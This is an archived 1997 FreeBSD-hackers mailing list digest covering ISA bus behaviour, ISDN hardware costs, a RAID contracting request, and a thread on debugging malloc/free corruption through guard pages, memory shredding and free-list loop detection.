Thu, 18 Sep 1997 22:25:40 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id WAA08304; Thu, 18 Sep 1997 22:18:39 +0200 (MET DST) Message-ID: <19970918221839.VL10449@uriah.heep.sax.de> Date: Thu, 18 Sep 1997 22:18:39 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: INB question References: <199709180728.AAA19024@usr06.primenet.com> <199709181039.UAA00245@word.smith.net.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709181039.UAA00245@word.smith.net.au>; from Mike Smith on Sep 18, 1997 20:09:55 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Mike Smith wrote: > Note that Joerg's comment about a nonresponding bus giving random > values is *WRONG* for most busses; certainly at least ISA and PCI. > > The ISA specification explicitly requires bus pullup resistors. It may > be unwise to depend on reading 0xff back-to-back with a previous read/ > write operation, ... That's why i wrote ``unspecified, with a tendency to 0xff''. > but the reader is welcome to calculate the RC time constant for a > transmission line with a few pF of capacitance and a 10K (or less) > pullup. j@uriah 132% perl -e 'print 50e-12 * 10e3; print "\n"' 5e-07 I think 50 pF is rather an understatement. 0.5 µs doesn't seem to be terribly short, but IIRC, ISA inb's are artificially deferred by 1.25 µs, so chances are good to actually see 0xff. I wouldn't rely on it for a back-to-back read, however. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Sep 18 13:25:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA03792 for hackers-outgoing; Thu, 18 Sep 1997 13:25:58 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA03779 for ; Thu, 18 Sep 1997 13:25:52 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA14516 for hackers@FreeBSD.ORG; Thu, 18 Sep 1997 22:25:50 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id WAA08320; Thu, 18 Sep 1997 22:20:29 +0200 (MET DST) Message-ID: <19970918222028.WR46922@uriah.heep.sax.de> Date: Thu, 18 Sep 1997 22:20:28 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: ISDN Modems References: <199709181232.OAA09840@labinfo.iet.unipi.it> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709181232.OAA09840@labinfo.iet.unipi.it>; from Luigi Rizzo on Sep 18, 1997 14:32:57 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Luigi Rizzo wrote: > Now if ISDN cards were sold in volumes and priced reasonably (i.e. > as much as an NE2000, since they are actually simpler!) and accessed > through a dedicated device driver, then things would certainly be > different. They (almost) are. I got my Teles card for DEM 100 (~ USD 60 these days). Still a lot cheaper than a router, although Søren told me that some 3Com part is getting closer these days. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Sep 18 13:58:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA06279 for hackers-outgoing; Thu, 18 Sep 1997 13:58:54 -0700 (PDT) Received: from gateway.cybernet.com (gateway.cybernet.com [192.245.33.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA06273 for ; Thu, 18 Sep 1997 13:58:48 -0700 (PDT) Received: from spiffy.cybernet.com (spiffy.cybernet.com [192.245.33.55]) by gateway.cybernet.com (8.8.5/8.8.5) with SMTP id RAA10773; Thu, 18 Sep 1997 17:04:14 -0400 (EDT) Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 18 Sep 1997 16:58:51 -0400 (EDT) Organization: Cybernet Systems From: "Mark J. Taylor" To: freebsd-hackers@freebsd.org Subject: FreeBSD RAID level 5 development contracting... Cc: rgrimes@gndrsh.aac.dev.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We are looking for a consultant or new permanent employee who is familiar enough with FreeBSD file system, specifically, the ccd system, to implement a software RAID function to our specifications for an in-house effort. If you have the knowhow to do this, want to and can start on it immediately, please let us know so we can get you on contract or on staff. Please email responses to chuck@cybernet.com for fastest response from us. More technical info concerning our needs can be gotten from mtaylor@cybernet.com or msuarez@cybernet.com. Our number is (313) 668-2567 (US). This request is not limited to people in the US, but we do speak English as our first language. Thank-you. [Company info can be found at http://www.cybernet.com/] -------------------------------------------------------------------- Mark J. Taylor Network R&D Manager Cybernet Systems mtaylor@cybernet.com 727 Airport Blvd. PHONE (313) 668-2567 Ann Arbor, MI 48108 FAX (313) 668-8780 -------------------------------------------------------------------- From owner-freebsd-hackers Thu Sep 18 14:08:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA06908 for hackers-outgoing; Thu, 18 Sep 1997 14:08:40 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA06878; Thu, 18 Sep 1997 14:08:28 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA12918; Thu, 18 Sep 1997 14:05:08 -0700 (MST) From: Terry Lambert Message-Id: <199709182105.OAA12918@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Thu, 18 Sep 1997 21:05:07 +0000 (GMT) Cc: gram@cdsec.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <10531.874599844@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 18, 97 06:24:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >Can you offer an explanation as to why the process never returns from > >the call to malloc, nor does it abort? This seems to indicate an infinite > >loop. Not having delved too deeply into your code, I can only speculate > >that the linked list is being made circular, so the process is in an > >infinite, looping traversal. Perhaps that is a check that can be added; > >namely that walking the list must always proceed forward, never backward > >(assuming that the list is kept in sequential order). > > This is about the only way you could get it to loop I think. That means > that somebody wrote to memory malloc hadn't passed them (ie: your code). > > This would indicate a bug of the class where memory is written to after > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. You could also get this after a free followed by another malloc for a shorter amount, and another malloc, with code using the original freed pointer. This could blow the list in either direction. Freeing something, making anohter overlapping allocation, and then freeing the original something again could do it too. Humorously, this is exactly the kind of thing you would get when you passed something allocated in thread local storage from thread A to B, and then thread A exits before thread B uses the pointer. 8-). I have suggested for some time now that allocations be ended against page boundries: A page: ,-------------------------------------------------------.,------ | xxx*************************||////// `-------------------------------------------------------'`------ Key: xxx malloc housekeeping *** user area /// guard page (unmapped) The result of any overruns would be a trappable and localizable fault. It is usedful to consider a "hole-y" stack for the same reasons; This would not necessarily require huge modifications to the compiler, on a "call-on-user-stack" mechanism for functions; for a whole-code environment, tiny compiler modifications are all that's necessary (so you push the arguments on the new stack before the call, mostly). The result of this would also be trappable and localizable faults for references of too many variables in the absence of a prototype to flag the error, and overrun of user arrays. If you wanted to go whole-hog, you *could* put each variable against it's guard page. Alternately, you could put all data in a referral area, and take a fault on each data access. The resoloution of the fault condition would check scope (effectively giving you byte level memory protection) and then return the referral area. Or signalling an error. Etc.. At least some of these are trivial to implement; you may want to consider it... Poul was right in his other posting about malloc() implementations showing programmer errors in different, unanticipated ways. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:12:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA07159 for hackers-outgoing; Thu, 18 Sep 1997 14:12:04 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA07121; Thu, 18 Sep 1997 14:11:51 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 28488 on Thu, 18 Sep 1997 21:11:49 GMT; id VAA28488 efrom: peter@grendel.IAEhv.nl; eto: UNKNOWN Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id VAA00712; Thu, 18 Sep 1997 21:56:03 +0200 (CEST) Message-ID: <19970918215602.50570@grendel.IAEhv.nl> Date: Thu, 18 Sep 1997 21:56:02 +0200 From: Peter Korsten To: hackers@FreeBSD.ORG Cc: freebsd-chat@FreeBSD.ORG Subject: Re: ISDN Modems References: <199709181232.OAA09840@labinfo.iet.unipi.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: <199709181232.OAA09840@labinfo.iet.unipi.it>; from Luigi Rizzo on Thu, Sep 18, 1997 at 02:32:57PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (Please follow-up to freebsd-chat.) Luigi Rizzo shared with us: > > To be honest with you I thought about this for a few months, If you in the > > US the best solution is something like an Ascend Pipeline 50 router (no > > firewall) ($599), with a crossover (included) to an inexpensive NE2000 > > card ($40). This is about twice as expensive as a Motorola Bitsurfer > > I think in europe as well it is way more convenient to have a router > instead of an internal card. Prices are in fact comparable (I would say > even a little bit lower) to those mentioned above, and going through a > messy serial device driver does not help at all. The simplicity in > setting up things pays back much more than the extra cost. Personally, I think your own ISDN router is a bit overkill at home. The elegant thing about an ISDN card is that it's a digital interface, just like Ethernet, that plugs right into your computer. No fuss with wiring, just a simple RJ-45 plug and your connected to the rest of the world. This also makes a FreeBSD box with an ISDN card an ideal 'Internet- box' for a small company. Put an ISDN card plus an Ethernet in it (and pray that they don't start mixing up the UTP and ISDN connec- tors :) ) and you can use it as a dial-up proxy server, mail/uucp host, news server for selected newsgroups, firewall, you name it. You can do it with NT server too (boy, Microsoft sure is pushing it's stuff towards small companies, I noticed this week), but at far higher costs for both hardware and software. Just grab the ole' 386 off the shelves and use it with FreeBSD. > Now if ISDN cards were sold in volumes and priced reasonably (i.e. > as much as an NE2000, since they are actually simpler!) and accessed > through a dedicated device driver, then things would certainly be > different. You really don't want to know what I paid for my ISDN card: nothing. The Dutch PTT wants to shove as much ISDN connections as possible, so they have special offers once in a while where you get the ISDN connection and the card for free, when you swap you analog line. You only have the cost of an A/B-adapter then. There must be some sort of vicious scheme behind it, but I haven't been able to figure it out yet. - Peter From owner-freebsd-hackers Thu Sep 18 14:16:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA07349 for hackers-outgoing; Thu, 18 Sep 1997 14:16:11 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA07312 for ; Thu, 18 Sep 1997 14:15:59 -0700 (PDT) Received: from harmony.village.org [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xBnvZ-0004c5-00; Thu, 18 Sep 1997 15:15:57 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id PAA21076; Thu, 18 Sep 1997 15:15:57 -0600 (MDT) Message-Id: <199709182115.PAA21076@harmony.village.org> To: "Jordan K. Hubbard" Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) Cc: hackers@freebsd.org In-reply-to: Your message of "Thu, 18 Sep 1997 11:25:49 PDT." <11017.874607149@time.cdrom.com> References: <11017.874607149@time.cdrom.com> Date: Thu, 18 Sep 1997 15:15:57 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <11017.874607149@time.cdrom.com> "Jordan K. Hubbard" writes: : Man, I sure wish there was a copy of purify available for FreeBSD. : It's great at catching stuff like this! :( I'm quoted as saying I'd give my left kidney for this on the purify web page (or in some of their publicity things somewhere). Warner From owner-freebsd-hackers Thu Sep 18 14:17:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA07448 for hackers-outgoing; Thu, 18 Sep 1997 14:17:43 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA07431 for ; Thu, 18 Sep 1997 14:17:39 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA13613; Thu, 18 Sep 1997 14:14:41 -0700 (MST) From: Terry Lambert Message-Id: <199709182114.OAA13613@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: gram@cdsec.com (Graham Wheeler) Date: Thu, 18 Sep 1997 21:14:40 +0000 (GMT) Cc: phk@critter.freebsd.dk, gram@gram.cdsec.com, hackers@FreeBSD.ORG In-Reply-To: <199709181722.TAA00606@cdsec.com> from "Graham Wheeler" at Sep 18, 97 07:22:10 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Well, then maybe you'll find the code below useful. It isn't Purify, but > then it doesn't cost anything near the price 8-). I'd use it > myself now, except that these days I write everything in C++. Mostly I'm > happy about that, but not right now... You can replace you "new" and "delete" functions; you knew that, right? [ ... ] > --------- gwtest.c ------------------------------------------------------ [ ... ] > void doubleFreeTest(void) > { > heap_ptr p = malloc(10); > free(p); > free(p); > } How about: heap_ptr p = malloc( 20); heap_ptr q, r; free(p); q = malloc(10) r = malloc( 10); free(p); ? 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:20:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA07658 for hackers-outgoing; Thu, 18 Sep 1997 14:20:42 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA07634; Thu, 18 Sep 1997 14:20:33 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA13921; Thu, 18 Sep 1997 14:19:52 -0700 (MST) From: Terry Lambert Message-Id: <199709182119.OAA13921@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 18 Sep 1997 21:19:51 +0000 (GMT) Cc: phk@critter.freebsd.dk, gram@cdsec.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <11017.874607149@time.cdrom.com> from "Jordan K. Hubbard" at Sep 18, 97 11:25:49 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > This would indicate a bug of the class where memory is written to after > > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > > Man, I sure wish there was a copy of purify available for FreeBSD. > It's great at catching stuff like this! :( Ask them for a port. What the hell, the worst that could happen is they'd say "no". > Maybe you could hack free() to do an mprotect(addr, len, PROT_NONE) on > free'd pages, unprotecting them again as necessary when the malloc > routines themselves need to frob that memory. Or, since we're just > testing, do it from an internally registered SIGBUS handler which > figures out the right thing to do. :-) Heh. mprotect must operate on pages. See my related suggestion... I didn't specify the mechanism (mprotect is the way it would be done). > BTW, how *do* you get the faulting memory location from a SIGBUS > handler? I was just playing around with this a bit and noted that it > wasn't immediately obvious how you'd get that info from the signal > handler. > > P.S. I also noticed that processes which catch SIGBUS will dump > incomplete core files - only the first 8K is dumped. Sounds like a > bug to me and I think we should either dump the whole thing or not > dump core at all rather than producing a truncated and rather useless > core file! :-) SIGBUS is kind of broken. THe typical way is that thee is a struct passed to the signal handler that isn't defined by POSIX, just like SIGWINCH. Sheesh. I guess I'm now the AntiPOSIX. 8-|. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:25:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA07871 for hackers-outgoing; Thu, 18 Sep 1997 14:25:30 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA07866 for ; Thu, 18 Sep 1997 14:25:28 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA13957; Thu, 18 Sep 1997 14:20:33 -0700 (MST) From: Terry Lambert Message-Id: <199709182120.OAA13957@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 18 Sep 1997 21:20:32 +0000 (GMT) Cc: phk@critter.freebsd.dk, gram@cdsec.com, gram@gram.cdsec.com.dk.tfs.com, hackers@FreeBSD.ORG In-Reply-To: <11153.874607726@time.cdrom.com> from "Jordan K. Hubbard" at Sep 18, 97 11:35:26 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Erm, never mind on that "how do I find the faulted memory location on > SIGBUS" question. I just took a closer look at sigaction(2) and read > about the sigcontext structure*. :-) Still broken -- 8K dumps, remember. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:30:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA08279 for hackers-outgoing; Thu, 18 Sep 1997 14:30:36 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA08256; Thu, 18 Sep 1997 14:30:31 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id OAA15687; Thu, 18 Sep 1997 14:30:06 -0700 (PDT) To: Terry Lambert cc: phk@critter.freebsd.dk, gram@cdsec.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 21:19:51 -0000." <199709182119.OAA13921@usr03.primenet.com> Date: Thu, 18 Sep 1997 14:30:06 -0700 Message-ID: <15683.874618206@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > This would indicate a bug of the class where memory is written to after > > > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > > > > Man, I sure wish there was a copy of purify available for FreeBSD. > > It's great at catching stuff like this! :( > > Ask them for a port. What the hell, the worst that could happen is they'd > say "no". I have. They did. :-) Jordan From owner-freebsd-hackers Thu Sep 18 14:43:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA08967 for hackers-outgoing; Thu, 18 Sep 1997 14:43:26 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA08961 for ; Thu, 18 Sep 1997 14:43:23 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA15537; Thu, 18 Sep 1997 14:40:27 -0700 (MST) From: Terry Lambert Message-Id: <199709182140.OAA15537@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: nate@mt.sri.com (Nate Williams) Date: Thu, 18 Sep 1997 21:40:26 +0000 (GMT) Cc: phk@critter.freebsd.dk, nate@mt.sri.com, gram@cdsec.com, hackers@FreeBSD.ORG In-Reply-To: <199709181912.NAA13699@rocky.mt.sri.com> from "Nate Williams" at Sep 18, 97 01:12:18 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Anyway, if you think so: do like so many others have done, look at the > > source for phkmalloc.c and try to spot the error. I can't. > > I know, and I don't expect you to find any. But, it doesn't mean there > isn't one. :) > > [ 'hangs' in malloc due to memory over-write causing circular lists ] Actually, I was thinking of this, too. You could determine that a list is circular by maintaining a count of the number of objects that are supposed to be on the freelist. Then you count the number of "next" traversals which occur, and when it excceeds the count of how many are supposed to be there, then you know you have a problem. Now you must find the length of the loop. You save the current pointer, and traverse until you see it again, counting. This count is the length of the loop. If the pointer traverses to itself, this is a simpler case, and you can traverse from the top of the list to the pointer to indicate the address of the looped entry, and the address of the entry that points to it. If the pointer does not traverse to itself, your count is 2 or more. Now you bsearch for the start. You do this by: 1) Set N and M to pow(log2(expected members)+1,2)/2 2) Traverse from the top to N or the expected members, whichever is first (the algorithm is iterated, so it may be that N exceeds expeded members at some point) 3) Traverse the loop to find your N. If you find it before you find the loop "start" again then the loop starts at N or earlier; otherwise it starts after N. If the count is exactly the count, then you picked a start equal to the loop start and are done. 4) Set M to M/2. Add or subtract M to/from N, depending on #3. Goto #2. Display the address of the entry immediately before the loop, and the address of the entry for the first and second and last elements of the loop. Display as the user would see them, so the user's debugger can be used to locate the variables involved. > > No, all you have to do is to make each allocation have it's own set of > > pages, munmap them when free is called and never use those pages again. > > > > You run out of address space really fast, and it is slow, but it works. > > It's slow, but how would it cause malloc to hang? It wouldn't. He's describing an algorithm for 100% reliably detecting multiple frees, and use-after-free, not the existing phkmalloc algorithm. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:48:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA09309 for hackers-outgoing; Thu, 18 Sep 1997 14:48:09 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA09285 for ; Thu, 18 Sep 1997 14:48:03 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id PAA10068; Thu, 18 Sep 1997 15:46:21 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id PAA14637; Thu, 18 Sep 1997 15:46:19 -0600 (MDT) Date: Thu, 18 Sep 1997 15:46:19 -0600 (MDT) Message-Id: <199709182146.PAA14637@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Terry Lambert Cc: nate@mt.sri.com (Nate Williams), phk@critter.freebsd.dk, gram@cdsec.com, hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-Reply-To: <199709182140.OAA15537@usr03.primenet.com> References: <199709181912.NAA13699@rocky.mt.sri.com> <199709182140.OAA15537@usr03.primenet.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > [ 'hangs' in malloc due to memory over-write causing circular lists ] > > > You could determine that a list is circular by maintaining a count of > the number of objects that are supposed to be on the freelist. Then > you count the number of "next" traversals which occur, and when it > excceeds the count of how many are supposed to be there, then you > know you have a problem. Easy enough. > Now you must find the length of the loop. You save the current > pointer, and traverse until you see it again, counting. This count > is the length of the loop. Naw, you keep track of how many objects are on the list by incrementing/decrementing when you add/remove objects on the list. Otherwise, it's much too slow, and adding/subtracting one is a very minor hit. And, your solution assumes that the loop is indeed circular, which it may/may not be. > If the pointer traverses to itself, this is a simpler case In my solution, it's still found, since you have *one* element, and if yo traverse twice, you're in a circular loop. [ Overly complicated solution deleted ] Why make it hard when it can be easy? Nate From owner-freebsd-hackers Thu Sep 18 14:51:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA09760 for hackers-outgoing; Thu, 18 Sep 1997 14:51:43 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA09730; Thu, 18 Sep 1997 14:51:31 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id OAA16166; Thu, 18 Sep 1997 14:49:45 -0700 (MST) From: Terry Lambert Message-Id: <199709182149.OAA16166@usr03.primenet.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 18 Sep 1997 21:49:44 +0000 (GMT) Cc: tlambert@primenet.com, phk@critter.freebsd.dk, gram@cdsec.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <15683.874618206@time.cdrom.com> from "Jordan K. Hubbard" at Sep 18, 97 02:30:06 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Man, I sure wish there was a copy of purify available for FreeBSD. > > > It's great at catching stuff like this! :( > > > > Ask them for a port. What the hell, the worst that could happen is they'd > > say "no". > > I have. They did. :-) Having suffered the worst, there is no place to go but "squeaky wheel". 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 14:56:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA10277 for hackers-outgoing; Thu, 18 Sep 1997 14:56:19 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA10253; Thu, 18 Sep 1997 14:56:12 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id OAA15805; Thu, 18 Sep 1997 14:52:26 -0700 (PDT) To: Terry Lambert cc: phk@critter.freebsd.dk, gram@cdsec.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 21:49:44 -0000." <199709182149.OAA16166@usr03.primenet.com> Date: Thu, 18 Sep 1997 14:52:26 -0700 Message-ID: <15801.874619546@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk By all means squeak, my friends, squeak. :) Jordan > > > > Man, I sure wish there was a copy of purify available for FreeBSD. > > > > It's great at catching stuff like this! :( > > > > > > Ask them for a port. What the hell, the worst that could happen is they' d > > > say "no". > > > > I have. They did. :-) > > Having suffered the worst, there is no place to go but "squeaky wheel". 8-). > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. From owner-freebsd-hackers Thu Sep 18 15:03:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA10707 for hackers-outgoing; Thu, 18 Sep 1997 15:03:06 -0700 (PDT) Received: from bcarsde4.localhost (mailgate.nortel.ca [192.58.194.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA10664; Thu, 18 Sep 1997 15:02:39 -0700 (PDT) Message-Id: <199709182202.PAA10664@hub.freebsd.org> Received: from bcars520.ott.bnr.ca (actually 47.128.5.188) by bcarsde4.localhost; Thu, 18 Sep 1997 18:00:39 -0400 Received: from bnr.ca by bcars520.bnr.ca id <09907-0@bcars520.bnr.ca>; Thu, 18 Sep 1997 18:00:20 -0400 Date: 18 Sep 1997 17:59 EDT To: phk@critter.freebsd.dk Cc: hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG From: "Andrew Atrens" Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message "Bug in malloc/free (was: Memory leak in getservbyXXX?)", phk@critter.freebsd.dk writes: > > This is about the only way you could get it to loop I think. That means > that somebody wrote to memory malloc hadn't passed them (ie: your code). > > This would indicate a bug of the class where memory is written to after > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. Why not have free() shred memory its releasing? Shredding memory with high values can often cause the offending code (which is still attempting to r/w this memory) to bus error. >From what I 